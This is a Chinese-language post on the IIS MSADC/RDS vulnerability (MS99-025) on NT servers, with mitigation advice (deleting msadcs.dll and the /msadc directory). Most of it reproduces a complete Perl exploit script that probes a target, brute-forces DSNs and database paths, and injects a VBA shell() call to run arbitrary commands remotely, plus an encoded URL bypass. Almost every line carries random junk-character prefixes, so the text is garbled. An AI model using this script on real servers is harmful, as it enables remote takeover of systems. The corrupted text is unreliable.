IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%4VM"C4[ :Nz
TEK 涉及程序：
r0z8? Microsoft NT server
B{#Fm6 ^Oj^7.T+ 描述：
6heK8*.T 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
i?>>%juK &*Z)[Bl 详细：
<a
CzB7x 如果你没有时间读详细内容的话，就删除:
*4 m]UK c:\Program Files\Common Files\System\Msadc\msadcs.dll
o<|u4r={s 有关的安全问题就没有了。
x+sSmW C
B;j[. 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
!rx5i nJH'^rO!C 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
:t;\`gQ oS 关于利用ODBC远程漏洞的描述，请参看:
6/a%%1c1 w&U28"i> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :hHKm|1FE UeUOGf , 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Na\&}GSf^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp Xk^<}Ep)c "97sH_
, 这里不再论述。
f`}u9!jVR R]Fa?uQW
3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
QIwO _ [Q s$^ 2Cuhv /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
GWx?RIKF 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
<{V{2V# _)CCD33$ dn5t7D^ x #将下面这段保存为txt文件，然后: "perl -x 文件名"
p3%cb?G%w @&h_+|:- #!perl
Q{hK+z`D #
G$`hPNSh # MSADC/RDS 'usage' (aka exploit) script
$9@Z\0
#
lz).=N}m # by rain.forest.puppy
2V @ pt #
Dmtsu2o # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
F0xm% ? # beta test and find errors!
"t{D5{q|[k V" 5rIk use Socket; use Getopt::Std;
2 $Z4 >! getopts("e:vd:h:XR", \%args);
ZB}zT9JaE rp-.\Hl/a print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
3qfQlqJ&3 7n#Mh-vq if (!defined $args{h} && !defined $args{R}) {
k DKfJp&a print qq~
]{-ib:f~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
S i;eBPFH -h <host> = host you want to scan (ip or domain)
kKQD$g.z6 -d <seconds> = delay between calls, default 1 second
%H"AHkge:a -X = dump Index Server path table, if available
_h B7;N3 -v = verbose
r^d:Po -e = external dictionary file for step 5
X)Rh&ui !O,`Z`T? Or a -R will resume a command session
)q+;+J`> Jl) Q # ~; exit;}
\p iz Vt cT JG 1'm $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
^O5PcV 3Eg if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
EU7mP
MxJ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
w3Qil[rg if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
n\scOM)3 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
X{5(i3?S if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:EC[YAK+D \T!tUd if (!defined $args{R}){ $ret = &has_msadc;
$8_b[~% 2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
g<4@5OQKu %?`$#*f\% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
i;<H^\% . "cmd /c ";
Ut"F b $in=<STDIN>; chomp $in;
o
3 G* $command="cmd /c " . $in ;
:2& W9v ma2-66M~j if (defined $args{R}) {&load; exit;}
_nW#Cl~ LwCf}4u" print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
M[dJQ ( &try_btcustmr;
_K>YB>W}7 tw]Q5:6 print "\nStep 2: Trying to make our own DSN...";
^X?3e1om &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[M.!7+$o _ %aJ/Y0Cy print "\nStep 3: Trying known DSNs...";
Pu]Pp `SP &known_dsn;
n ^C"v6X
9&KiG* . print "\nStep 4: Trying known .mdbs...";
h1N{;SWQ &known_mdb;
y}lqF8s 8z"*CJ@ if (defined $args{e}){
7gbu7"Qc print "\nStep 5: Trying dictionary of DSN names...";
Pu|3 _3^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
>^KO5N-:4 r7 :4| 6E print "Sorry Charley...maybe next time?\n";
bu r0?q exit;
&qFy$`" $]]|#}J ##############################################################################
<bOi } czp}-{4X sub sendraw { # ripped and modded from whisker
|rk4,NG. sleep($delay); # it's a DoS on the server! At least on mine...
[Gb8o' my ($pstr)=@_;
r`CsR0[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
w> gB&59r die("Socket problems\n");
~@Eu4ip)F if(connect(S,pack "SnA4x8",2,80,$target)){
f>_' ]eM% select(S); $|=1;
Y]{~ogsn$: print $pstr; my @in=<S>;
1lQO`CmR6M select(STDOUT); close(S);
\ssqIRk return @in;
w97% 5[-T } else { die("Can't connect...\n"); }}
2~*.X^dR eB *0}) ##############################################################################
h}jE=T5Hc kC-OZ VoO sub make_header { # make the HTTP request
D~JrO]mi my $msadc=<<EOT
<@2g.+ 9 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZncJ User-Agent: ACTIVEDATA
?r-W
, n Host: $ip
/aD3E"Op Content-Length: $clen
sM'%apM# Connection: Keep-Alive
*5|q_K
Pt <%]i7& 8| ADCClientVersion:01.06
s8 0$ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
":N
E I $4&e{fLt|v --!ADM!ROX!YOUR!WORLD!
Vu_QwWXO Content-Type: application/x-varg
6w:M _tDM Content-Length: $reqlen
5QUL-*t 7gcJ.,Z. EOT
.+ g 8zbD4 ; $msadc=~s/\n/\r\n/g;
N 3g\X return $msadc;}
5ki<1{aVtZ KI{B<S3*Z ##############################################################################
h#rziZ( +&h<:/ V sub make_req { # make the RDS request
vCS D1 ~V_ my ($switch, $p1, $p2)=@_;
P<A_7Ho my $req=""; my $t1, $t2, $query, $dsn;
2^$Ha | `8D} \w<eI if ($switch==1){ # this is the btcustmr.mdb query
&;Jg2f%. $query="Select * from Customers where City=" . make_shell();
<^8&2wAkJ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
GY,HEe]2r $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&!5S'J % 9s'[p'[Z elsif ($switch==2){ # this is general make table query
HTU?hbG( $query="create table AZZ (B int, C varchar(10))";
aaODj> $dsn="$p1";}
V 1Opp8 )C fk/OnRd elsif ($switch==3){ # this is general exploit table query
B)}.%G* $query="select * from AZZ where C=" . make_shell();
`suEN @^ $dsn="$p1";}
$,9A?' -'mTSJ.} elsif ($switch==4){ # attempt to hork file info from index server
z->[:)c $query="select path from scope()";
ruQ1Cph $dsn="Provider=MSIDXS;";}
qz<>9n@o OkaN VT B elsif ($switch==5){ # bad query
YA[\|I33 $query="select";
H!yqIh $dsn="$p1";}
&@h(6 V*1hoC # $t1= make_unicode($query);
aBonq]W $t2= make_unicode($dsn);
;Wu6f"+Y# $req = "\x02\x00\x03\x00";
)UgLs|G~ $req.= "\x08\x00" . pack ("S1", length($t1));
_gl7Ma $req.= "\x00\x00" . $t1 ;
^\oc H|D $req.= "\x08\x00" . pack ("S1", length($t2));
JcDcYB $req.= "\x00\x00" . $t2 ;
1Vy8TV3D $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Yy 3g7!K5E return $req;}
84}Pu % tlJ@@v&= ##############################################################################
\&Zp/;n T@)|0M sub make_shell { # this makes the shell() statement
+1o4l i return "'|shell(\"$command\")|'";}
T >2_ r6; # %$U-ti ##############################################################################
A, ;V|jv9 M4`. [P4 sub make_unicode { # quick little function to convert to unicode
/l&$B my ($in)=@_; my $out;
nA?Ks!9T for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
mW&hUP Rx return $out;}
z[~ph/^ @n Oj6b ##############################################################################
-L&%,% m# . N sub rdo_success { # checks for RDO return success (this is kludge)
vle`#c. my (@in) = @_; my $base=content_start(@in);
r# X6j U if($in[$base]=~/multipart\/mixed/){
/_l$h_{DH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
AkE(I16Uy~ return 0;}
cA8A^Iv:0 6A23 H7 ##############################################################################
C_ 4(- OWq O~
]3 .b sub make_dsn { # this makes a DSN for us
y8a rFG my @drives=("c","d","e","f");
#Li6RSeW print "\nMaking DSN: ";
M!)~h<YL foreach $drive (@drives) {
v%$c_'d print "$drive: ";
n/Fx2QC{ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[;RO= "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
o;5 ns . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]u<8j r $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
)~[rb<:)b return 0 if $2 eq "404"; # not found/doesn't exist
V|W[>/ if($2 eq "200") {
cWS 0B $$ foreach $line (@results) {
`+0K~k|DC return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
la}Xo0nq0+ } return 0;}
BDiN*.w5 DO{Lj# @ ##############################################################################
>Xv
Fg `ZhS=ezgr sub verify_exists {
u]uZc~T my ($page)=@_;
xh`4s my @results=sendraw("GET $page HTTP/1.0\n\n");
nc/F@HCB return $results[0];}
=jIP 29+ gHmy?+ ) ##############################################################################
&cHA xker F+ Q(^Nk sub try_btcustmr {
thK4@C|X4 my @drives=("c","d","e","f");
dp DPSI my @dirs=("winnt","winnt35","winnt351","win","windows");
uoi~JF > ,}SP; foreach $dir (@dirs) {
V3v/h V: print "$dir -> "; # fun status so you can see progress
8qF OO3c\V foreach $drive (@drives) {
/JbO $A print "$drive: "; # ditto
NPjNkpWm&= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
}$X/HK $reqlenlen=length( "$reqlen" );
c>.=;'2 $clen= 206 + $reqlenlen + $reqlen;
`m+o^!SGe Bb9/nsbE my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#L`'<ge'g* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
P5Is#7udN8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ZXH{9hxd yp
l`vJ]X ##############################################################################
e.VR9O]G -ztgirU sub odbc_error {
_Qd C V` my (@in)=@_; my $base;
O~DdMW my $base = content_start(@in);
6O\a\z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
sX[k}=HCK $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-a\[`JHi $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PSREQK@}E $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-?vII~a9y return $in[$base+4].$in[$base+5].$in[$base+6];}
]Mb:zs<r print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
SodYb print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ow2tfylV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;%B:1Z teX)!N [ ##############################################################################
'9XSz? D7|qFx;]g sub verbose {
2qpUUo f my ($in)=@_;
=" ;G&)H- return if !$verbose;
2`P=ekF] print STDOUT "\n$in\n";}
mZ0'-ax
Q nmv?YXS ##############################################################################
Lm1
- ESi'3mbeC sub save {
1)v]<Ga~%1 my ($p1, $p2, $p3, $p4)=@_;
B
x-"< ^< open(OUT, ">rds.save") || print "Problem saving parameters...\n";
W!B\ VB print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
MN<uIqG close OUT;}
/v8yE9N_ Yc p<N>) ##############################################################################
P TMJ.; s ~>0<3{5 sub load {
ul^VGW>i my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#M@K i1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
|* v w( @p=<IN>; close(IN);
G3${\ '< $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
k@}g?X`8 $target= inet_aton($ip) || die("inet_aton problems");
K'U8f t*_ print "Resuming to $ip ...";
2}0S%R( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
MHPh! if($p[1]==1) {
hp3
<HUU $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
hOj(*7__ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
d:3 OC& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
t
.-%@,s if (rdo_success(@results)){print "Success!\n";}
.! Q*VTW else { print "failed\n"; verbose(odbc_error(@results));}}
=g{Hs1W elsif ($p[1]==3){
y134m if(run_query("$p[3]")){
wq:"/2p1 print "Success!\n";} else { print "failed\n"; }}
[
~:wS@% elsif ($p[1]==4){
jUGk=/*]e if(run_query($drvst . "$p[3]")){
=O?? W8u print "Success!\n"; } else { print "failed\n"; }}
X|4_}b> x exit;}
vM?jm! nd "1z#6vw5a ##############################################################################
[ XBVES8 Lhmb=
@ sub create_table {
pE381Cw my ($in)=@_;
?.Lq`~T` $reqlen=length( make_req(2,$in,"") ) - 28;
GZzBATx $reqlenlen=length( "$reqlen" );
0P l>k'9 $clen= 206 + $reqlenlen + $reqlen;
7p_B?r my @results=sendraw(make_header() . make_req(2,$in,""));
^,{ r[} return 1 if rdo_success(@results);
4_W*LG~2s my $temp= odbc_error(@results); verbose($temp);
g]Z@_ return 1 if $temp=~/Table 'AZZ' already exists/;
6H ^=\ return 0;}
OJT% ?P%@{ }NY! z ^ ##############################################################################
ycj\5+ g Rj!9pwvT sub known_dsn {
+j(7.6ia # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>SW c my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
r^T+ I3 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
=-E%vnU "banner", "banners", "ads", "ADCDemo", "ADCTest");
jL,P )TC 9a$ 7$4m foreach $dSn (@dsns) {
g). IF. print ".";
0JU+v:J[= next if (!is_access("DSN=$dSn"));
$ #bW h if(create_table("DSN=$dSn")){
o]TKL'gW print "$dSn successful\n";
IN?6~ O
p if(run_query("DSN=$dSn")){
~nR bb ;M print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bBY7^k print "Something's borked. Use verbose next time\n";}}} print "\n";}
Aa}Nr5{O| k]=lo'bF4 ##############################################################################
=^mBj?(V7 D9%t67s sub is_access {
) QW
p[bV my ($in)=@_;
ZmAo9>'Kg $reqlen=length( make_req(5,$in,"") ) - 28;
@ n^2UJ $reqlenlen=length( "$reqlen" );
q{uv ?{I $clen= 206 + $reqlenlen + $reqlen;
!`0
El',gY my @results=sendraw(make_header() . make_req(5,$in,""));
9w .ZXd
my $temp= odbc_error(@results);
/|p6NK;8L verbose($temp); return 1 if ($temp=~/Microsoft Access/);
-Ra-Ux return 0;}
>~* }9y0$ v~:'t\n ##############################################################################
>)bn #5 Xq%ijo sub run_query {
"@UyUL my ($in)=@_;
Dd'J"|jF38 $reqlen=length( make_req(3,$in,"") ) - 28;
^\g?uH6k U $reqlenlen=length( "$reqlen" );
|* B9{/;4 $clen= 206 + $reqlenlen + $reqlen;
&0RKNpw g my @results=sendraw(make_header() . make_req(3,$in,""));
.f9&.H# return 1 if rdo_success(@results);
j5!pS xOC my $temp= odbc_error(@results); verbose($temp);
=y 0h\<[ return 0;}
M.``o1b K$c?:?wmo ##############################################################################
,:xses*7 A`nzqe#(1 sub known_mdb {
u?SxaGEa my @drives=("c","d","e","f","g");
'}9 %12\^h my @dirs=("winnt","winnt35","winnt351","win","windows");
4P?R "Lk my $dir, $drive, $mdb;
YQ`8 8 z my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r<!/!}fE, zxC~a97` # this is sparse, because I don't know of many
C&f{LpB` my @sysmdbs=( "\\catroot\\icatalog.mdb",
OZ4% 6/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
`>u^Pm
"\\system32\\certmdb.mdb",
oT i$@q "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
?0?+~0sI 6+/BYN!&4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4VP$, |a "\\cfusion\\cfapps\\forums\\forums_.mdb",
.5!Q( "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
`<(o;*&Gd "\\cfusion\\cfapps\\security\\realm_.mdb",
#{5h6IC "\\cfusion\\cfapps\\security\\data\\realm.mdb",
o!zo%#0;#) "\\cfusion\\database\\cfexamples.mdb",
DHVfb(H5e "\\cfusion\\database\\cfsnippets.mdb",
#:8V<rc^ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
o3Z<tI8-V "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
:czUOZ_ "\\cfusion\\brighttiger\\database\\cleam.mdb",
"c*#Z P "\\cfusion\\database\\smpolicy.mdb",
0}9 "\\cfusion\\database\cypress.mdb",
"ZP)[ [Rd
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
R'$1,ie "\\website\\cgi-win\\dbsample.mdb",
|?\2F "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
H8h,JBg5<F "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
grE'ySX0 ); #these are just
Ygc.0VKMR foreach $drive (@drives) {
(r/))I9^ foreach $dir (@dirs){
x, Z:12H0 foreach $mdb (@sysmdbs) {
zO( ( FQ print ".";
ZJV;&[$[ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
+\RviF[+ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
V(M7d>N5G if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
<x 1,4a~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
#YK=e&da } else { print "Something's borked. Use verbose next time\n"; }}}}}
Rts.jm>[ p~z\&&0U0 foreach $drive (@drives) {
GRAPv|u9[ foreach $mdb (@mdbs) {
-#
/'^O +% print ".";
: 2A\X' @ if(create_table($drv . $drive . $dir . $mdb)){
~vKDB$2 print "\n" . $drive . $dir . $mdb . " successful\n";
/ ;WFRp. if(run_query($drv . $drive . $dir . $mdb)){
;-VXp80J print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
H(DI /"N } else { print "Something's borked. Use verbose next time\n"; }}}}
gH/( 4h }
<*z9:jz Q e7n` fEpO ##############################################################################
OQ+kOE& lh- zE5 ; sub hork_idx {
smPZ%P}P+c print "\nAttempting to dump Index Server tables...\n";
h%&2M58: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
oiItQ4{ < $reqlen=length( make_req(4,"","") ) - 28;
PD b7 h $reqlenlen=length( "$reqlen" );
8xx2+ $clen= 206 + $reqlenlen + $reqlen;
!B R@"%hx my @results=sendraw2(make_header() . make_req(4,"",""));
&"=<w if (rdo_success(@results)){
&?^"m\K4J* my $max=@results; my $c; my %d;
@gi / 1 cq for($c=19; $c<$max; $c++){
E+P-)bRa $results[$c]=~s/\x00//g;
|z`AIScT $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
}*VRj;ff $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
|M|>/U 8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
bf/z
T0 $d{"$1$2"}="";}
Xb c:Vr foreach $c (keys %d){ print "$c\n"; }
;M5]XCP k } else {print "Index server doesn't seem to be installed.\n"; }}
Oe&gTXo K%YR; )5A ##############################################################################
C:RA( \i As sub dsn_dict {
:U6Q==B$_ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
8>'vzc/* > while(<IN>){
7*@ BCu6 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
i .''\ next if (!is_access("DSN=$dSn"));
Mc 6v if(create_table("DSN=$dSn")){
h!
w d/jR print "$dSn successful\n";
WB\chb%ej# if(run_query("DSN=$dSn")){
^"+Vx9H"{ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/e7BW0$1 print "Something's borked. Use verbose next time\n";}}}
6f&qtJQ<A print "\n"; close(IN);}
\1?: ?{r -z3@ N ##############################################################################
5$c*r$t_RK ]f*.C9Y sub sendraw2 { # ripped and modded from whisker
q }hHoSG]= sleep($delay); # it's a DoS on the server! At least on mine...
ADB,gap my ($pstr)=@_;
v|:TYpk u3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
nw=:+? die("Socket problems\n");
ZX0!BS if(connect(S,pack "SnA4x8",2,80,$target)){
du&9mOrr print "Connected. Getting data";
M!
uE# | open(OUT,">raw.out"); my @in;
lGX8kAv? select(S); $|=1; print $pstr;
K*N 8Vpz( while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[q~3$mjQ close(OUT); select(STDOUT); close(S); return @in;
-qpe;=g&f } else { die("Can't connect...\n"); }}
d>Ky(wS B+[L/C}=; ##############################################################################
v8\pOI }c 9%DLdc\z; sub content_start { # this will take in the server headers
*u!l" 0'\ my (@in)=@_; my $c;
=/bC0bb{i for ($c=1;$c<500;$c++) {
&+df@U6i if($in[$c] =~/^\x0d\x0a/){
m,r>E%;Cj if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Q;=3vUN else { return $c+1; }}}
TchByN6oN< return -1;} # it should never get here actually
|qtZb}"| U 8 n=Ro ##############################################################################
Ns.{$'ll h`:B8+k sub funky {
c4M]q4]F my (@in)=@_; my $error=odbc_error(@in);
kjj? X|Un if($error=~/ADO could not find the specified provider/){
1Wz5Iv#Ez print "\nServer returned an ADO miscofiguration message\nAborting.\n";
9KMtPBZ exit;}
dwVo"_Yr if($error=~/A Handler is required/){
| ? ma? print "\nServer has custom handler filters (they most likely are patched)\n";
K&;/hdS=F exit;}
F`57;)F if($error=~/specified Handler has denied Access/){
I G B) print "\nServer has custom handler filters (they most likely are patched)\n";
]%[. > mR exit;}}
JjQ9AJ?-V (w?W=guHu ##############################################################################
@ "0n8y c6LPqPcN sub has_msadc {
|],oc AN{ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
jiP^Hz "e
my $base=content_start(@results);
%R?#Y1Tq; return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3.@ir"vy return 0;}
D >K=D " K<f B]44Y ########################
'V} 4_3#q tFX!s; N[ WP4 "$W 解决方案：
,pa=OF 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
#A^(1 2、移除web 目录: /msadc
